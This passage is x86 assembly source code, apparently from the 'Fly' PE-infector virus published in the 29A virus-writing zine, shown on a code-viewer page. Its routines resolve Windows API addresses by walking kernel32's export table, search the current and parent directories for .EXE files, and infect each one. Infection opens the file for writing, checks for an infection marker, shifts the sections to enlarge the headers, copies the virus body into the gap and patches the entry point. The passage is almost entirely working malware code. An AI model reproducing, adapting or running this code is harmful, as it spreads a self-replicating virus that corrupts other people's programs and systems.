📄 29a-7.012
字号:
ADD EDI, EDX ; EDI -> exp table RVA
MOV ESI, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; ESI -> exp symbol names chain RVA
ADD ESI, EDX
SUB EBX, EBX ; EBX = chain index
process_name:
; compare API strings
LODSD
PUSHAD
LEA EDI, [EAX + EDX]
MOV ESI, [ESP + 8 + SIZEOF PUSHA_STRUCT + 12]
MOV ECX, [ESP + 12 + SIZEOF PUSHA_STRUCT + 12]
REPZ CMPSB
POPAD
JZ API_name_found_in_chain
INC EBX
CMP EBX, [EDI].IMAGE_EXPORT_DIRECTORY.NumberOfNames
JNZ process_name
; (all names processed but nothing found)
SUB EAX, EAX
JZ @@GetProcAddr_exit
API_name_found_in_chain:
; grab corresponding ordinal
MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
ADD EAX, EDX ; EAX -> ordinal chain ptr
MOVZX ECX, WORD PTR [EAX + EBX*2] ; ECX -> symbol ordinal
; finally get symbol RVA
MOV EAX, [EDI].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
ADD EAX, EDX ; EAX -> symbol RVA chain ptr
MOV EAX, [EAX + ECX*4]
ADD EAX, EDX ; EAX -> symbol ptr
@@GetProcAddr_exit:
POP EDI
POP ESI
POP EBX
RET 12
;
; Reserved Regs: NO
;
GrabAPIs:
LEA ESI, [EBP + OFFSET API_table] ; ESI -> first API table entry
NextApiTableEntry:
; receive API addr of current struct
MOVZX EDI, BYTE PTR [ESI] ; EDI -> API str length
PUSH EDI
LEA EAX, [ESI + 5]
PUSH EAX
PUSH [EBP + dwK32Base]
CALL GetProcAddr
INC ESI ; ESI += 1
MOV [ESI], EAX
; process next struct
ADD ESI, EDI
ADD ESI, 4
SUB EAX, EAX
CMP BYTE PTR [ESI], AL
JNZ NextApiTableEntry
RET
;
; Args:
; EBX - delta
;
; Reserved Regs: NO
;
TraceAndInfectDirectory PROC
LOCAL WFD : WIN32_FIND_DATA
LOCAL cPath[MAX_PATH] : BYTE
LOCAL hFind : HANDLE
; get current directory
LEA ESI, cPath ; ESI -> path buffer
PUSH ESI
PUSH MAX_PATH
CALL [EBX + _GetCurrentDirectory]
process_current_dir:
PUSH EAX ; reserve path length
PUSH ESI
CALL [EBX + _SetCurrentDirectory]
POP EAX
LEA EDI, [ESI + EAX]
MOV AX, "*\"
STOSW
MOV AX, "E."
STOSW
MOV AX, "EX"
STOSW
SUB EAX, EAX
STOSB
LEA EDI, WFD ; EDI -> WIN32_FIND_DATA ptr
PUSH EDI
PUSH ESI
CALL [EBX + _FindFirstFile]
MOV hFind, EAX
INC EAX
JZ trace_previous_dir
next_file_in_dir:
LEA EAX, [EDI].WIN32_FIND_DATA.cFileName
PUSH EAX
CALL InfectFile
PUSH EDI
PUSH hFind
CALL [EBX + _FindNextFile]
DEC EAX
JZ next_file_in_dir
trace_previous_dir:
PUSH ESI
CALL WipeLastDirInPath
JC process_current_dir
; cleanup
PUSH hFind
CALL [EBX + _FindClose]
TraceAndInfectDirectory_exit:
RET
TraceAndInfectDirectory ENDP
;
; if the last directory was successfully ripped from path string then the carry flag is set
; addionally the new path string size is returned in EAX
;
; Args:
; [ESP + 4] - path buffer
;
; Reserved Regs: Win32 API
;
WipeLastDirInPath:
ARG_1 EQU [ESP + 4]
PUSH EBX
PUSH ESI
PUSH EDI
CLC
CLD
SUB EAX, EAX
MOV EDI, ARG_1
MOV ECX, MAX_PATH
REPNZ SCASB
STD
MOV AL, "\"
NEG ECX
ADD ECX, MAX_PATH
REPNZ SCASB
TEST ECX, ECX
JZ WipeLastDirInPath_exit
REPNZ SCASB
TEST ECX, ECX
JZ WipeLastDirInPath_exit
CMP ECX, 1 ; will result be a root path (e.g. C:\) ?
JZ root_path
MOV BYTE PTR [EDI + 1], 0 ; set new NUL terminator
JMP SHORT ret_new_str
root_path:
MOV BYTE PTR [EDI + 2], 0
ret_new_str:
LEA EAX, [ECX + 1] ; EAX -> return string size
STC
WipeLastDirInPath_exit:
POP EDI
POP ESI
POP EBX
CLD
RET 4
;
; Args:
; EBX - delta
;
; Reserved Regs: ALL
;
; Returns: void
;
;
InfectFile PROC szFname
LOCAL hFile : HANDLE
LOCAL dwFSize : DWORD
LOCAL dwc : DWORD
LOCAL b64Bit : DWORD
LOCAL dwHdrSizeDelta : DWORD
; LOCAL dwRealHdrSize : DWORD
LOCAL dwFirstSecRO : DWORD
LOCAL pFirstSecHdr : DWORD
LOCAL dwMemBlockSize : DWORD
LOCAL pVirusBody : DWORD
; LOCAL dwViriiOffset : DWORD ; Offset (without any Mem- or ImageBase)
LOCAL dwVictimBase : DWORD
PUSHAD
; -> get write access to the file and map it to memory
XOR EAX, EAX
PUSH EAX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EAX
PUSH FILE_SHARE_WRITE + FILE_SHARE_READ
PUSH GENERIC_WRITE + GENERIC_READ
PUSH szFname
CALL [EBX + _CreateFile]
MOV hFile, EAX
INC EAX
JZ InfectFile_exit
SUB EAX, EAx
PUSH EAX
PUSH hFile
CALL [EBX + _GetFileSize]
MOV dwFSize, EAX
ADD EAX, 01000h ; add max hdr size to size of mem
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL [EBX + _GlobalAlloc]
OR EAX, EAX
JZ cleanup_free_mem
MOV ESI, EAX ; ESI -> mem ptr
SUB EAX, EAX
PUSH EAX
LEA EAX, dwc
PUSH EAX
PUSH dwFSize
PUSH ESI
PUSH hFile
CALL [EBX + _ReadFile]
; -> get ptr to NT hdrs and check whether the file was already infect
PUSH EBP
MOV EBP, EBX
PUSH ESI
CALL GetNTHeaders
POP EBP
OR EAX, EAX
JZ cleanup_free_mem
MOV EDI, EAX ; EDI -> NT hdrs
MOV EAX, [EDI].IMAGE_NT_HEADERS.FileHeader.PointerToSymbolTable
ADD EAX, OBFUSCATION_VAL
CMP EAX, FLY_TRADEMARK + OBFUSCATION_VAL
JZ cleanup_free_mem
;-> check for PE32+
SUB EAX, EAX
CMP WORD PTR [EDI].IMAGE_NT_HEADERS.OptionalHeader.Magic, IMAGE_NT_OPTIONAL_HDR64_MAGIC
SETZ AL
MOV b64Bit, EAX
PUSH EBX ; !!! reserve unneeded delta to stack
;-> get section hdr ptr
MOV AX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
LEA EBX, [EAX + EDI + 4 + SIZEOF IMAGE_FILE_HEADER] ; EBX -> section hdr table ptr
MOV pFirstSecHdr, EBX
;
;-> infect file image
;
; -> get real size of hdrs, test whether the virus body has enough space there
SUB EDX, EDX
MOV EAX, SIZEOF IMAGE_SECTION_HEADER
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
MUL ECX
MOVZX EDX, [EDI].IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
LEA EDX, [EAX + EDX + 4 + SIZEOF IMAGE_FILE_HEADER]
ADD EDX, [ESI].IMAGE_DOS_HEADER.e_lfanew ; (EDX = real size of headers)
; MOV dwRealHdrSize, EDX
NEG EDX
ADD EDX, 01000h ; EDX -> delta to hdr with 0x1000 size
CMP EDX, FLY_BODY_SIZE ; enough size in header ?
JGE @F
POP EBX
JMP cleanup_free_mem
@@:
; -> get the RawOffset of the first section
SUB EDX, EDX
DEC EDX ; EDX -> MAX_DWORD
MOV EAX, EBX ; EAX -> first section header
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
scan_sec_hdr_for_low_RO:
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
JAE @F
MOV EDX, [EAX].IMAGE_SECTION_HEADER.PointerToRawData
@@:
ADD EAX, SIZEOF IMAGE_SECTION_HEADER ; EAX += sizeof(IMAGE_SECTION_HEADER)
LOOP scan_sec_hdr_for_low_RO
MOV dwFirstSecRO, EDX
NEG EDX
ADD EDX, 01000h
MOV dwHdrSizeDelta, EDX
POP EBX ; restore delta from stack -> EBX
; -> patch the file image, so that it'll have a SizeOfHeaders of 0x1000
; move all sections by the calucalated delta back
; INT 3
MOV EDX, dwFirstSecRO
NEG EDX
ADD EDX, dwFSize ; EDX -> mem block size
MOV dwMemBlockSize, EDX
PUSH EDX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL [EBX + _GlobalAlloc]
TEST EAX, EAX
JZ cleanup_free_mem
; sections -> memory buffer
XCHG EDX, EAX ; EDX -> mem block ptr
PUSH dwMemBlockSize
PUSH EDX
MOV EAX, dwFirstSecRO
ADD EAX, ESI ; EAX -> ptr to first section
PUSH EAX
CALL memcpy
; memory buffer -> new location for sections (offset + dwHdrSizeDelta)
PUSH dwMemBlockSize
LEA EAX, [ESI + 01000h]
PUSH EAX
PUSH EDX
CALL memcpy
PUSH EDI
CALL [EBX + _GlobalFree]
;-> fix section header table
PUSH EBX ; ! reserve EBX
MOVZX ECX, [EDI].IMAGE_NT_HEADERS.FileHeader.NumberOfSections
MOV EAX, pFirstSecHdr ; EAX -> first section hdr
MOV EDX, dwHdrSizeDelta ; EDX -> hdr delta
SUB EBX, EBX ; EBX -> 0
fix_and_replace_section:
CMP [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EBX
JZ @F
ADD [EAX].IMAGE_SECTION_HEADER.PointerToRawData, EDX
@@:
ADD EAX, SIZEOF IMAGE_SECTION_HEADER
LOOP fix_and_replace_section
POP EBX ; ! restore EBX
;-> insert virus body after the SectionHeaderTable
; INT 3
PUSHAD
LEA EDI, [ESI + VIRUS_OFFSET] ; EDI -> ptr to the end of the SectionHeaderTable
LEA ESI, [EBX + FLY_START] ; ESI -> start of the virus body
MOV ECX, FLY_BODY_SIZE
REP MOVSB
POPAD
;-> insert EntryPoint RVA and ImageBase into virus body
LEA EDX, [ESI + VIRUS_OFFSET] ; EDX -> virus body ptr (in victim)
MOV pVirusBody, EDX
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -